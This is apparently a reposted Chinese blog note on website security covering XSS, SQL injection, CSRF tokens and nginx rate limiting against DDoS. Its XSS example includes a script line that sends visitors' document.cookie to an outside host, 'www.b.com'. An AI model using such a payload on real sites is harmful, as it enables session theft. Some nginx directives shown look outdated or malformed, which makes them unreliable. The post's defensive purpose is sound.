网站安全

xiaoxiao2025-04-09  15

1,xss攻击: 用户输入的内容有脚本代码 举例: 我发表篇文章: 包含 <script> window.open("www.b.com?param="+document.cookie); </script>

其他用户点击我这篇文章 就会把他的cookie发到我的服务器上

防防措施: 1,用户输入的内容,做脚本过滤 2,对于不能过滤的内容进行编码转换:   使用apache的commons-lang.jar     StringEscapeUtils.escapeHtml(str);进行转换     汉字会转换成对应的ascll码,空格不转换     转义保存,然后在显示时,浏览会对这些字符转换成文本内容显示,而不是一段可执行的代码。

2,sql注入。 就是通过把sql命令插入到web表单提交,最终达到欺骗服务器执行恶意的sql命令, 执行sql的时候不是按照设计者意图去执行sql.

防御: 1,使用参数化的sql语句。 2,避免出现详细错误信息

3,跨站攻击: 使用令牌机制 form表单添加令牌

4,ddos攻击

限制同一个ip一段时间内访问次数: http://www.nginx.cn/446.html HttpLimitReqModul 限制某一段时间内同一个ip访问次数: http{     #定义一个名为allips 的limit_req_zone用来存储session,大小是10M内存     #以$binary_remote_addr为key ,限制平均每秒请求为20个     #1M能存储16000个状态,rate的值必须为整数,     #如果限制两秒一个请求,可以设置成30r/m

    limit_req_zone $binary_remote_addr zone=allips:10m rate=20r/s;          server{         location{                  limit_req zone=allips burst=5 nodelay;         }     } }

参数说明: 1: $binary_remote_addr:表示通过remote_addr这个标识来做限制,"binary_"的目的是缩写内存占用量,是限制同一客户端ip地址 zone=allips:10m 标识生成一个大小为10m,名字为allips的内存区域,用来存储访问频次信息 rate=20r/s 表示允许相同标识的客户端的访问频次,这里限制每秒20次。

2: zone=allips:设置使用哪个配置来做限制,与上面limit_req_zone里的那么对应 burst=5 :burst爆发的意思,这个配置的意思是设置一个大小为5的缓冲区,当有大量请求过来时,超过了访问频次限制的 请求可以先放到这个缓冲区内等待,再超过这个缓冲区会直接报503错误然后返回。

nodelay: 如果设置,会在瞬时提供处理burst+rate个请求的能力,请求超过(burst+rate) 的时候就会直接返回503,永远不存在请求等待的情况。     如果没有设置,则所有请求会一次等待排队。

限制并发连接数,限速 http{

    #定义一个名为one的limit_conn_zone ,大小为10M内存来存储session,     #以$binary_remote_addr 为key     limit_conn_zone one $binary_remote_addr 10m;     server{         location{             #限制每个ip只能发起20个连接             limit_zone one 20;             #带宽限制,对单个连接限速,如果一个ip两个连接,就是500k*2             limit_rate 500k;         }

    }

}

配在location里,对css,js ,图片等不限速,需另取一个location /img/{} 专门处理图片。

加入白名单,排除限制: http{   geo $limited{     default 1;     ip 0;     ip 0;     }

}

限制同一个ip 在一段时间内的访问次数: limit_req_zone $binary_remote_addr zone=allips:10m rate=20r/s; limit_req zone=allips burst=5 nodelay;

burst:爆发5个等待 nodelay:不等待,立刻返回503

限制同一个ip并发连接数: limit_conn_zone one $binary_remote_addr 10m; limit_zone one 20; #带宽限制,对单个连接限速,如果一个ip两个连接,就是500k*2 limit_rate 500k;

负载均衡: upstream Test  {         server ip:port;      }

    location / {         proxy_pass  http://Test;     }

转载请注明原文地址: https://www.6miu.com/read-5027816.html

最新回复(0)